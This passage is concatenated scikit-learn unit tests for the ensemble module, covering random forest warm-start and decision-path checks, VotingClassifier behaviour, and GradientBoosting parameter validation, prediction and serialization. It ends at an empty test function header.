    assert_raises(ValueError, clf.fit, X, y)
    assert_raises(ValueError, clf.fit, X, _y)

    # Warning warm_start with preset
    clf = ForestClassifier(class_weight='auto', warm_start=True,
                           random_state=0)
    assert_warns(UserWarning, clf.fit, X, y)
    assert_warns(UserWarning, clf.fit, X, _y)

    # Not a list or preset for multi-output
    clf = ForestClassifier(class_weight=1, random_state=0)
    assert_raises(ValueError, clf.fit, X, _y)

    # Incorrect length list for multi-output
    clf = ForestClassifier(class_weight=[{-1: 0.5, 1: 1.}], random_state=0)
    assert_raises(ValueError, clf.fit, X, _y)


def test_class_weight_errors():
    for name in FOREST_CLASSIFIERS:
        yield check_class_weight_errors, name


def check_warm_start(name, random_state=42):
    # Test if fitting incrementally with warm start gives a forest of the
    # right size and the same results as a normal fit.
    X, y = hastie_X, hastie_y
    ForestEstimator = FOREST_ESTIMATORS[name]
    clf_ws = None
    for n_estimators in [5, 10]:
        if clf_ws is None:
            clf_ws = ForestEstimator(n_estimators=n_estimators,
                                     random_state=random_state,
                                     warm_start=True)
        else:
            clf_ws.set_params(n_estimators=n_estimators)
        clf_ws.fit(X, y)
        assert_equal(len(clf_ws), n_estimators)

    clf_no_ws = ForestEstimator(n_estimators=10, random_state=random_state,
                                warm_start=False)
    clf_no_ws.fit(X, y)

    assert_equal(set([tree.random_state for tree in clf_ws]),
                 set([tree.random_state for tree in clf_no_ws]))

    assert_array_equal(clf_ws.apply(X), clf_no_ws.apply(X),
                       err_msg="Failed with {0}".format(name))


def test_warm_start():
    for name in FOREST_ESTIMATORS:
        yield check_warm_start, name


def check_warm_start_clear(name):
    # Test if fit clears state and grows a new forest when warm_start==False.
    X, y = hastie_X, hastie_y
    ForestEstimator = FOREST_ESTIMATORS[name]
    clf = ForestEstimator(n_estimators=5, max_depth=1, warm_start=False,
                          random_state=1)
    clf.fit(X, y)

    clf_2 = ForestEstimator(n_estimators=5, max_depth=1, warm_start=True,
                            random_state=2)
    clf_2.fit(X, y)  # inits state
    clf_2.set_params(warm_start=False, random_state=1)
    clf_2.fit(X, y)  # clears old state and equals clf

    assert_array_almost_equal(clf_2.apply(X), clf.apply(X))


def test_warm_start_clear():
    for name in FOREST_ESTIMATORS:
        yield check_warm_start_clear, name


def check_warm_start_smaller_n_estimators(name):
    # Test if warm start second fit with smaller n_estimators raises error.
    X, y = hastie_X, hastie_y
    ForestEstimator = FOREST_ESTIMATORS[name]
    clf = ForestEstimator(n_estimators=5, max_depth=1, warm_start=True)
    clf.fit(X, y)
    clf.set_params(n_estimators=4)
    assert_raises(ValueError, clf.fit, X, y)


def test_warm_start_smaller_n_estimators():
    for name in FOREST_ESTIMATORS:
        yield check_warm_start_smaller_n_estimators, name


def check_warm_start_equal_n_estimators(name):
    # Test if warm start with equal n_estimators does nothing and returns the
    # same forest and raises a warning.
    X, y = hastie_X, hastie_y
    ForestEstimator = FOREST_ESTIMATORS[name]
    clf = ForestEstimator(n_estimators=5, max_depth=3, warm_start=True,
                          random_state=1)
    clf.fit(X, y)

    clf_2 = ForestEstimator(n_estimators=5, max_depth=3, warm_start=True,
                            random_state=1)
    clf_2.fit(X, y)
    # Now clf_2 equals clf.

    clf_2.set_params(random_state=2)
    assert_warns(UserWarning, clf_2.fit, X, y)
    # If we had fit the trees again we would have got a different forest as we
    # changed the random state.
    assert_array_equal(clf.apply(X), clf_2.apply(X))


def test_warm_start_equal_n_estimators():
    for name in FOREST_ESTIMATORS:
        yield check_warm_start_equal_n_estimators, name


def check_warm_start_oob(name):
    # Test that the warm start computes oob score when asked.
    X, y = hastie_X, hastie_y
    ForestEstimator = FOREST_ESTIMATORS[name]
    # Use 15 estimators to avoid 'some inputs do not have OOB scores' warning.
    clf = ForestEstimator(n_estimators=15, max_depth=3, warm_start=False,
                          random_state=1, bootstrap=True, oob_score=True)
    clf.fit(X, y)

    clf_2 = ForestEstimator(n_estimators=5, max_depth=3, warm_start=False,
                            random_state=1, bootstrap=True, oob_score=False)
    clf_2.fit(X, y)

    clf_2.set_params(warm_start=True, oob_score=True, n_estimators=15)
    clf_2.fit(X, y)

    assert_true(hasattr(clf_2, 'oob_score_'))
    assert_equal(clf.oob_score_, clf_2.oob_score_)

    # Test that oob_score is computed even if we don't need to train
    # additional trees.
    clf_3 = ForestEstimator(n_estimators=15, max_depth=3, warm_start=True,
                            random_state=1, bootstrap=True, oob_score=False)
    clf_3.fit(X, y)
    assert_true(not(hasattr(clf_3, 'oob_score_')))

    clf_3.set_params(oob_score=True)
    ignore_warnings(clf_3.fit)(X, y)

    assert_equal(clf.oob_score_, clf_3.oob_score_)


def test_warm_start_oob():
    for name in FOREST_CLASSIFIERS:
        yield check_warm_start_oob, name
    for name in FOREST_REGRESSORS:
        yield check_warm_start_oob, name


def test_dtype_convert(n_classes=15):
    classifier = RandomForestClassifier(random_state=0, bootstrap=False)

    X = np.eye(n_classes)
    y = [ch for ch in 'ABCDEFGHIJKLMNOPQRSTU'[:n_classes]]

    result = classifier.fit(X, y).predict(X)
    assert_array_equal(classifier.classes_, y)
    assert_array_equal(result, y)


def check_decision_path(name):
    X, y = hastie_X, hastie_y
    n_samples = X.shape[0]
    ForestEstimator = FOREST_ESTIMATORS[name]
    est = ForestEstimator(n_estimators=5, max_depth=1, warm_start=False,
                          random_state=1)
    est.fit(X, y)
    indicator, n_nodes_ptr = est.decision_path(X)

    assert_equal(indicator.shape[1], n_nodes_ptr[-1])
    assert_equal(indicator.shape[0], n_samples)
    assert_array_equal(np.diff(n_nodes_ptr),
                       [e.tree_.node_count for e in est.estimators_])

    # Assert that leaves index are correct
    leaves = est.apply(X)
    for est_id in range(leaves.shape[1]):
        leave_indicator = [indicator[i, n_nodes_ptr[est_id] + j]
                           for i, j in enumerate(leaves[:, est_id])]
        assert_array_almost_equal(leave_indicator, np.ones(shape=n_samples))


def test_decision_path():
    for name in FOREST_CLASSIFIERS:
        yield check_decision_path, name
    for name in FOREST_REGRESSORS:
        yield check_decision_path, name






"""Testing for the boost module (sklearn.ensemble.boost)."""

import numpy as np
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_raise_message
from sklearn.exceptions import NotFittedError
from sklearn.linear_model import LogisticRegression
from sklearn.naive_bayes import GaussianNB
from sklearn.ensemble import RandomForestClassifier
from sklearn.ensemble import VotingClassifier
from sklearn.model_selection import GridSearchCV
from sklearn import datasets
from sklearn.model_selection import cross_val_score
from sklearn.datasets import make_multilabel_classification
from sklearn.svm import SVC
from sklearn.multiclass import OneVsRestClassifier


# Load the iris dataset and randomly permute it
iris = datasets.load_iris()
X, y = iris.data[:, 1:3], iris.target


def test_estimator_init():
    eclf = VotingClassifier(estimators=[])
    msg = ('Invalid `estimators` attribute, `estimators` should be'
           ' a list of (string, estimator) tuples')
    assert_raise_message(AttributeError, msg, eclf.fit, X, y)

    clf = LogisticRegression(random_state=1)

    eclf = VotingClassifier(estimators=[('lr', clf)], voting='error')
    msg = ('Voting must be \'soft\' or \'hard\'; got (voting=\'error\')')
    assert_raise_message(ValueError, msg, eclf.fit, X, y)

    eclf = VotingClassifier(estimators=[('lr', clf)], weights=[1, 2])
    msg = ('Number of classifiers and weights must be equal'
           '; got 2 weights, 1 estimators')
    assert_raise_message(ValueError, msg, eclf.fit, X, y)


def test_predictproba_hardvoting():
    eclf = VotingClassifier(estimators=[('lr1', LogisticRegression()),
                                        ('lr2', LogisticRegression())],
                            voting='hard')
    msg = "predict_proba is not available when voting='hard'"
    assert_raise_message(AttributeError, msg, eclf.predict_proba, X)


def test_notfitted():
    eclf = VotingClassifier(estimators=[('lr1', LogisticRegression()),
                                        ('lr2', LogisticRegression())],
                            voting='soft')
    msg = ("This VotingClassifier instance is not fitted yet. Call \'fit\'"
           " with appropriate arguments before using this method.")
    assert_raise_message(NotFittedError, msg, eclf.predict_proba, X)


def test_majority_label_iris():
    """Check classification by majority label on dataset iris."""
    clf1 = LogisticRegression(random_state=123)
    clf2 = RandomForestClassifier(random_state=123)
    clf3 = GaussianNB()
    eclf = VotingClassifier(estimators=[
                ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                voting='hard')
    scores = cross_val_score(eclf, X, y, cv=5, scoring='accuracy')
    assert_almost_equal(scores.mean(), 0.95, decimal=2)


def test_tie_situation():
    """Check voting classifier selects smaller class label in tie situation."""
    clf1 = LogisticRegression(random_state=123)
    clf2 = RandomForestClassifier(random_state=123)
    eclf = VotingClassifier(estimators=[('lr', clf1), ('rf', clf2)],
                            voting='hard')
    assert_equal(clf1.fit(X, y).predict(X)[73], 2)
    assert_equal(clf2.fit(X, y).predict(X)[73], 1)
    assert_equal(eclf.fit(X, y).predict(X)[73], 1)


def test_weights_iris():
    """Check classification by average probabilities on dataset iris."""
    clf1 = LogisticRegression(random_state=123)
    clf2 = RandomForestClassifier(random_state=123)
    clf3 = GaussianNB()
    eclf = VotingClassifier(estimators=[
                            ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                            voting='soft',
                            weights=[1, 2, 10])
    scores = cross_val_score(eclf, X, y, cv=5, scoring='accuracy')
    assert_almost_equal(scores.mean(), 0.93, decimal=2)


def test_predict_on_toy_problem():
    """Manually check predicted class labels for toy dataset."""
    clf1 = LogisticRegression(random_state=123)
    clf2 = RandomForestClassifier(random_state=123)
    clf3 = GaussianNB()

    X = np.array([[-1.1, -1.5],
                  [-1.2, -1.4],
                  [-3.4, -2.2],
                  [1.1, 1.2],
                  [2.1, 1.4],
                  [3.1, 2.3]])

    y = np.array([1, 1, 1, 2, 2, 2])

    assert_equal(all(clf1.fit(X, y).predict(X)), all([1, 1, 1, 2, 2, 2]))
    assert_equal(all(clf2.fit(X, y).predict(X)), all([1, 1, 1, 2, 2, 2]))
    assert_equal(all(clf3.fit(X, y).predict(X)), all([1, 1, 1, 2, 2, 2]))

    eclf = VotingClassifier(estimators=[
                            ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                            voting='hard',
                            weights=[1, 1, 1])
    assert_equal(all(eclf.fit(X, y).predict(X)), all([1, 1, 1, 2, 2, 2]))

    eclf = VotingClassifier(estimators=[
                            ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                            voting='soft',
                            weights=[1, 1, 1])
    assert_equal(all(eclf.fit(X, y).predict(X)), all([1, 1, 1, 2, 2, 2]))


def test_predict_proba_on_toy_problem():
    """Calculate predicted probabilities on toy dataset."""
    clf1 = LogisticRegression(random_state=123)
    clf2 = RandomForestClassifier(random_state=123)
    clf3 = GaussianNB()
    X = np.array([[-1.1, -1.5], [-1.2, -1.4], [-3.4, -2.2], [1.1, 1.2]])
    y = np.array([1, 1, 2, 2])

    clf1_res = np.array([[0.59790391, 0.40209609],
                         [0.57622162, 0.42377838],
                         [0.50728456, 0.49271544],
                         [0.40241774, 0.59758226]])

    clf2_res = np.array([[0.8, 0.2],
                         [0.8, 0.2],
                         [0.2, 0.8],
                         [0.3, 0.7]])

    clf3_res = np.array([[0.9985082, 0.0014918],
                         [0.99845843, 0.00154157],
                         [0., 1.],
                         [0., 1.]])

    t00 = (2*clf1_res[0][0] + clf2_res[0][0] + clf3_res[0][0]) / 4
    t11 = (2*clf1_res[1][1] + clf2_res[1][1] + clf3_res[1][1]) / 4
    t21 = (2*clf1_res[2][1] + clf2_res[2][1] + clf3_res[2][1]) / 4
    t31 = (2*clf1_res[3][1] + clf2_res[3][1] + clf3_res[3][1]) / 4

    eclf = VotingClassifier(estimators=[
                            ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                            voting='soft',
                            weights=[2, 1, 1])
    eclf_res = eclf.fit(X, y).predict_proba(X)

    assert_almost_equal(t00, eclf_res[0][0], decimal=1)
    assert_almost_equal(t11, eclf_res[1][1], decimal=1)
    assert_almost_equal(t21, eclf_res[2][1], decimal=1)
    assert_almost_equal(t31, eclf_res[3][1], decimal=1)

    try:
        eclf = VotingClassifier(estimators=[
                                ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                                voting='hard')
        eclf.fit(X, y).predict_proba(X)

    except AttributeError:
        pass
    else:
        raise AssertionError('AttributeError for voting == "hard"'
                             ' and with predict_proba not raised')


def test_multilabel():
    """Check if error is raised for multilabel classification."""
    X, y = make_multilabel_classification(n_classes=2, n_labels=1,
                                          allow_unlabeled=False,
                                          random_state=123)
    clf = OneVsRestClassifier(SVC(kernel='linear'))

    eclf = VotingClassifier(estimators=[('ovr', clf)], voting='hard')

    try:
        eclf.fit(X, y)
    except NotImplementedError:
        return


def test_gridsearch():
    """Check GridSearch support."""
    clf1 = LogisticRegression(random_state=1)
    clf2 = RandomForestClassifier(random_state=1)
    clf3 = GaussianNB()
    eclf = VotingClassifier(estimators=[
                ('lr', clf1), ('rf', clf2), ('gnb', clf3)],
                voting='soft')

    params = {'lr__C': [1.0, 100.0],
              'voting': ['soft', 'hard'],
              'weights': [[0.5, 0.5, 0.5], [1.0, 0.5, 0.5]]}

    grid = GridSearchCV(estimator=eclf, param_grid=params, cv=5)
    grid.fit(iris.data, iris.target)












"""
Testing for the gradient boosting module (sklearn.ensemble.gradient_boosting).
"""
import warnings
import numpy as np

from itertools import product

from scipy.sparse import csr_matrix
from scipy.sparse import csc_matrix
from scipy.sparse import coo_matrix

from sklearn import datasets
from sklearn.base import clone
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.ensemble.gradient_boosting import ZeroEstimator
from sklearn.metrics import mean_squared_error
from sklearn.utils import check_random_state, tosequence
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import skip_if_32bit
from sklearn.exceptions import DataConversionWarning
from sklearn.exceptions import NotFittedError

# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
y = [-1, -1, -1, 1, 1, 1]
T = [[-1, -1], [2, 2], [3, 2]]
true_result = [-1, 1, 1]

rng = np.random.RandomState(0)
# also load the boston dataset
# and randomly permute it
boston = datasets.load_boston()
perm = rng.permutation(boston.target.size)
boston.data = boston.data[perm]
boston.target = boston.target[perm]

# also load the iris dataset
# and randomly permute it
iris = datasets.load_iris()
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]


def check_classification_toy(presort, loss):
    # Check classification on a toy dataset.
    clf = GradientBoostingClassifier(loss=loss, n_estimators=10,
                                     random_state=1, presort=presort)

    assert_raises(ValueError, clf.predict, T)

    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(10, len(clf.estimators_))

    deviance_decrease = (clf.train_score_[:-1] - clf.train_score_[1:])
    assert_true(np.any(deviance_decrease >= 0.0))

    leaves = clf.apply(X)
    assert_equal(leaves.shape, (6, 10, 1))


def test_classification_toy():
    for presort, loss in product(('auto', True, False),
                                 ('deviance', 'exponential')):
        yield check_classification_toy, presort, loss


def test_parameter_checks():
    # Check input parameter validation.

    assert_raises(ValueError,
                  GradientBoostingClassifier(n_estimators=0).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(n_estimators=-1).fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(learning_rate=0.0).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(learning_rate=-1.0).fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(loss='foobar').fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(min_samples_split=0.0).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(min_samples_split=-1.0).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(min_samples_split=1.1).fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(min_samples_leaf=0).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(min_samples_leaf=-1.0).fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(min_weight_fraction_leaf=-1.).fit,
                  X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(min_weight_fraction_leaf=0.6).fit,
                  X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(subsample=0.0).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(subsample=1.1).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(subsample=-0.1).fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(max_depth=-0.1).fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(max_depth=0).fit, X, y)

    assert_raises(ValueError,
                  GradientBoostingClassifier(init={}).fit, X, y)

    # test fit before feature importance
    assert_raises(ValueError,
                  lambda: GradientBoostingClassifier().feature_importances_)

    # deviance requires ``n_classes >= 2``.
    assert_raises(ValueError,
                  lambda X, y: GradientBoostingClassifier(
                      loss='deviance').fit(X, y),
                  X, [0, 0, 0, 0])


def test_loss_function():
    assert_raises(ValueError,
                  GradientBoostingClassifier(loss='ls').fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(loss='lad').fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(loss='quantile').fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingClassifier(loss='huber').fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingRegressor(loss='deviance').fit, X, y)
    assert_raises(ValueError,
                  GradientBoostingRegressor(loss='exponential').fit, X, y)


def check_classification_synthetic(presort, loss):
    # Test GradientBoostingClassifier on synthetic dataset used by
    # Hastie et al. in ESLII Example 12.7.
    X, y = datasets.make_hastie_10_2(n_samples=12000, random_state=1)

    X_train, X_test = X[:2000], X[2000:]
    y_train, y_test = y[:2000], y[2000:]

    gbrt = GradientBoostingClassifier(n_estimators=100, min_samples_split=2,
                                      max_depth=1, loss=loss,
                                      learning_rate=1.0, random_state=0)
    gbrt.fit(X_train, y_train)
    error_rate = (1.0 - gbrt.score(X_test, y_test))
    assert_less(error_rate, 0.09)

    gbrt = GradientBoostingClassifier(n_estimators=200, min_samples_split=2,
                                      max_depth=1, loss=loss,
                                      learning_rate=1.0, subsample=0.5,
                                      random_state=0,
                                      presort=presort)
    gbrt.fit(X_train, y_train)
    error_rate = (1.0 - gbrt.score(X_test, y_test))
    assert_less(error_rate, 0.08)


def test_classification_synthetic():
    for presort, loss in product(('auto', True, False), ('deviance', 'exponential')):
        yield check_classification_synthetic, presort, loss


def check_boston(presort, loss, subsample):
    # Check consistency on dataset boston house prices with least squares
    # and least absolute deviation.
    ones = np.ones(len(boston.target))
    last_y_pred = None
    for sample_weight in None, ones, 2 * ones:
        clf = GradientBoostingRegressor(n_estimators=100,
                                        loss=loss,
                                        max_depth=4,
                                        subsample=subsample,
                                        min_samples_split=2,
                                        random_state=1,
                                        presort=presort)

        assert_raises(ValueError, clf.predict, boston.data)
        clf.fit(boston.data, boston.target,
                sample_weight=sample_weight)
        leaves = clf.apply(boston.data)
        assert_equal(leaves.shape, (506, 100))

        y_pred = clf.predict(boston.data)
        mse = mean_squared_error(boston.target, y_pred)
        assert_less(mse, 6.0)

        if last_y_pred is not None:
            assert_array_almost_equal(last_y_pred, y_pred)

        last_y_pred = y_pred


def test_boston():
    for presort, loss, subsample in product(('auto', True, False),
                                            ('ls', 'lad', 'huber'),
                                            (1.0, 0.5)):
        yield check_boston, presort, loss, subsample


def check_iris(presort, subsample, sample_weight):
    # Check consistency on dataset iris.
    clf = GradientBoostingClassifier(n_estimators=100,
                                     loss='deviance',
                                     random_state=1,
                                     subsample=subsample,
                                     presort=presort)
    clf.fit(iris.data, iris.target, sample_weight=sample_weight)
    score = clf.score(iris.data, iris.target)
    assert_greater(score, 0.9)

    leaves = clf.apply(iris.data)
    assert_equal(leaves.shape, (150, 100, 3))


def test_iris():
    ones = np.ones(len(iris.target))
    for presort, subsample, sample_weight in product(('auto', True, False),
                                                     (1.0, 0.5),
                                                     (None, ones)):
        yield check_iris, presort, subsample, sample_weight


def test_regression_synthetic():
    # Test on synthetic regression datasets used in Leo Breiman,
    # `Bagging Predictors?. Machine Learning 24(2): 123-140 (1996).
    random_state = check_random_state(1)
    regression_params = {'n_estimators': 100, 'max_depth': 4,
                         'min_samples_split': 2, 'learning_rate': 0.1,
                         'loss': 'ls'}

    # Friedman1
    X, y = datasets.make_friedman1(n_samples=1200,
                                   random_state=random_state,
                                   noise=1.0)
    X_train, y_train = X[:200], y[:200]
    X_test, y_test = X[200:], y[200:]

    for presort in True, False:
        clf = GradientBoostingRegressor(presort=presort)
        clf.fit(X_train, y_train)
        mse = mean_squared_error(y_test, clf.predict(X_test))
        assert_less(mse, 5.0)

    # Friedman2
    X, y = datasets.make_friedman2(n_samples=1200, random_state=random_state)
    X_train, y_train = X[:200], y[:200]
    X_test, y_test = X[200:], y[200:]

    for presort in True, False:
        regression_params['presort'] = presort
        clf = GradientBoostingRegressor(**regression_params)
        clf.fit(X_train, y_train)
        mse = mean_squared_error(y_test, clf.predict(X_test))
        assert_less(mse, 1700.0)

    # Friedman3
    X, y = datasets.make_friedman3(n_samples=1200, random_state=random_state)
    X_train, y_train = X[:200], y[:200]
    X_test, y_test = X[200:], y[200:]

    for presort in True, False:
        regression_params['presort'] = presort
        clf = GradientBoostingRegressor(**regression_params)
        clf.fit(X_train, y_train)
        mse = mean_squared_error(y_test, clf.predict(X_test))
        assert_less(mse, 0.015)


def test_feature_importances():
    X = np.array(boston.data, dtype=np.float32)
    y = np.array(boston.target, dtype=np.float32)

    for presort in True, False:
        clf = GradientBoostingRegressor(n_estimators=100, max_depth=5,
                                        min_samples_split=2, random_state=1,
                                        presort=presort)
        clf.fit(X, y)
        assert_true(hasattr(clf, 'feature_importances_'))

        # XXX: Remove this test in 0.19 after transform support to estimators
        # is removed.
        X_new = assert_warns(
            DeprecationWarning, clf.transform, X, threshold="mean")
        assert_less(X_new.shape[1], X.shape[1])
        feature_mask = (
            clf.feature_importances_ > clf.feature_importances_.mean())
        assert_array_almost_equal(X_new, X[:, feature_mask])


def test_probability_log():
    # Predict probabilities.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)

    assert_raises(ValueError, clf.predict_proba, T)

    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)

    # check if probabilities are in [0, 1].
    y_proba = clf.predict_proba(T)
    assert_true(np.all(y_proba >= 0.0))
    assert_true(np.all(y_proba <= 1.0))

    # derive predictions from probabilities
    y_pred = clf.classes_.take(y_proba.argmax(axis=1), axis=0)
    assert_array_equal(y_pred, true_result)


def test_check_inputs():
    # Test input checks (shape and type of X and y).
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    assert_raises(ValueError, clf.fit, X, y + [0, 1])

    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    assert_raises(ValueError, clf.fit, X, y,
                  sample_weight=([1] * len(y)) + [0, 1])


def test_check_inputs_predict():
    # X has wrong shape
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    clf.fit(X, y)

    x = np.array([1.0, 2.0])[:, np.newaxis]
    assert_raises(ValueError, clf.predict, x)

    x = np.array([[]])
    assert_raises(ValueError, clf.predict, x)

    x = np.array([1.0, 2.0, 3.0])[:, np.newaxis]
    assert_raises(ValueError, clf.predict, x)

    clf = GradientBoostingRegressor(n_estimators=100, random_state=1)
    clf.fit(X, rng.rand(len(X)))

    x = np.array([1.0, 2.0])[:, np.newaxis]
    assert_raises(ValueError, clf.predict, x)

    x = np.array([[]])
    assert_raises(ValueError, clf.predict, x)

    x = np.array([1.0, 2.0, 3.0])[:, np.newaxis]
    assert_raises(ValueError, clf.predict, x)


def test_check_max_features():
    # test if max_features is valid.
    clf = GradientBoostingRegressor(n_estimators=100, random_state=1,
                                    max_features=0)
    assert_raises(ValueError, clf.fit, X, y)

    clf = GradientBoostingRegressor(n_estimators=100, random_state=1,
                                    max_features=(len(X[0]) + 1))
    assert_raises(ValueError, clf.fit, X, y)

    clf = GradientBoostingRegressor(n_estimators=100, random_state=1,
                                    max_features=-0.1)
    assert_raises(ValueError, clf.fit, X, y)


def test_max_feature_regression():
    # Test to make sure random state is set properly.
    X, y = datasets.make_hastie_10_2(n_samples=12000, random_state=1)

    X_train, X_test = X[:2000], X[2000:]
    y_train, y_test = y[:2000], y[2000:]

    gbrt = GradientBoostingClassifier(n_estimators=100, min_samples_split=5,
                                      max_depth=2, learning_rate=.1,
                                      max_features=2, random_state=1)
    gbrt.fit(X_train, y_train)
    deviance = gbrt.loss_(y_test, gbrt.decision_function(X_test))
    assert_true(deviance < 0.5, "GB failed with deviance %.4f" % deviance)


def test_max_feature_auto():
    # Test if max features is set properly for floats and str.
    X, y = datasets.make_hastie_10_2(n_samples=12000, random_state=1)
    _, n_features = X.shape

    X_train = X[:2000]
    y_train = y[:2000]

    gbrt = GradientBoostingClassifier(n_estimators=1, max_features='auto')
    gbrt.fit(X_train, y_train)
    assert_equal(gbrt.max_features_, int(np.sqrt(n_features)))

    gbrt = GradientBoostingRegressor(n_estimators=1, max_features='auto')
    gbrt.fit(X_train, y_train)
    assert_equal(gbrt.max_features_, n_features)

    gbrt = GradientBoostingRegressor(n_estimators=1, max_features=0.3)
    gbrt.fit(X_train, y_train)
    assert_equal(gbrt.max_features_, int(n_features * 0.3))

    gbrt = GradientBoostingRegressor(n_estimators=1, max_features='sqrt')
    gbrt.fit(X_train, y_train)
    assert_equal(gbrt.max_features_, int(np.sqrt(n_features)))

    gbrt = GradientBoostingRegressor(n_estimators=1, max_features='log2')
    gbrt.fit(X_train, y_train)
    assert_equal(gbrt.max_features_, int(np.log2(n_features)))

    gbrt = GradientBoostingRegressor(n_estimators=1,
                                     max_features=0.01 / X.shape[1])
    gbrt.fit(X_train, y_train)
    assert_equal(gbrt.max_features_, 1)


def test_staged_predict():
    # Test whether staged decision function eventually gives
    # the same prediction.
    X, y = datasets.make_friedman1(n_samples=1200,
                                   random_state=1, noise=1.0)
    X_train, y_train = X[:200], y[:200]
    X_test = X[200:]
    clf = GradientBoostingRegressor()
    # test raise ValueError if not fitted
    assert_raises(ValueError, lambda X: np.fromiter(
        clf.staged_predict(X), dtype=np.float64), X_test)

    clf.fit(X_train, y_train)
    y_pred = clf.predict(X_test)

    # test if prediction for last stage equals ``predict``
    for y in clf.staged_predict(X_test):
        assert_equal(y.shape, y_pred.shape)

    assert_array_equal(y_pred, y)


def test_staged_predict_proba():
    # Test whether staged predict proba eventually gives
    # the same prediction.
    X, y = datasets.make_hastie_10_2(n_samples=1200,
                                     random_state=1)
    X_train, y_train = X[:200], y[:200]
    X_test, y_test = X[200:], y[200:]
    clf = GradientBoostingClassifier(n_estimators=20)
    # test raise NotFittedError if not fitted
    assert_raises(NotFittedError, lambda X: np.fromiter(
        clf.staged_predict_proba(X), dtype=np.float64), X_test)

    clf.fit(X_train, y_train)

    # test if prediction for last stage equals ``predict``
    for y_pred in clf.staged_predict(X_test):
        assert_equal(y_test.shape, y_pred.shape)

    assert_array_equal(clf.predict(X_test), y_pred)

    # test if prediction for last stage equals ``predict_proba``
    for staged_proba in clf.staged_predict_proba(X_test):
        assert_equal(y_test.shape[0], staged_proba.shape[0])
        assert_equal(2, staged_proba.shape[1])

    assert_array_equal(clf.predict_proba(X_test), staged_proba)


def test_staged_functions_defensive():
    # test that staged_functions make defensive copies
    rng = np.random.RandomState(0)
    X = rng.uniform(size=(10, 3))
    y = (4 * X[:, 0]).astype(np.int) + 1  # don't predict zeros
    for estimator in [GradientBoostingRegressor(),
                      GradientBoostingClassifier()]:
        estimator.fit(X, y)
        for func in ['predict', 'decision_function', 'predict_proba']:
            staged_func = getattr(estimator, "staged_" + func, None)
            if staged_func is None:
                # regressor has no staged_predict_proba
                continue
            with warnings.catch_warnings(record=True):
                staged_result = list(staged_func(X))
            staged_result[1][:] = 0
            assert_true(np.all(staged_result[0] != 0))


def test_serialization():
    # Check model serialization.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)

    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))

    try:
        import cPickle as pickle
    except ImportError:
        import pickle

    serialized_clf = pickle.dumps(clf, protocol=pickle.HIGHEST_PROTOCOL)
    clf = None
    clf = pickle.loads(serialized_clf)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))


def test_degenerate_targets():
    # Check if we can fit even though all targets are equal.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)

    # classifier should raise exception
    assert_raises(ValueError, clf.fit, X, np.ones(len(X)))

    clf = GradientBoostingRegressor(n_estimators=100, random_state=1)
    clf.fit(X, np.ones(len(X)))
    clf.predict([rng.rand(2)])
    assert_array_equal(np.ones((1,), dtype=np.float64),
                       clf.predict([rng.rand(2)]))


def test_quantile_loss():
    # Check if quantile loss with alpha=0.5 equals lad.
    clf_quantile = GradientBoostingRegressor(n_estimators=100, loss='quantile',
                                             max_depth=4, alpha=0.5,
                                             random_state=7)

    clf_quantile.fit(boston.data, boston.target)
    y_quantile = clf_quantile.predict(boston.data)

    clf_lad = GradientBoostingRegressor(n_estimators=100, loss='lad',
                                        max_depth=4, random_state=7)

    clf_lad.fit(boston.data, boston.target)
    y_lad = clf_lad.predict(boston.data)
    assert_array_almost_equal(y_quantile, y_lad, decimal=4)


def test_symbol_labels():
    # Test with non-integer class labels.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)

    symbol_y = tosequence(map(str, y))

    clf.fit(X, symbol_y)
    assert_array_equal(clf.predict(T), tosequence(map(str, true_result)))
    assert_equal(100, len(clf.estimators_))


def test_float_class_labels():
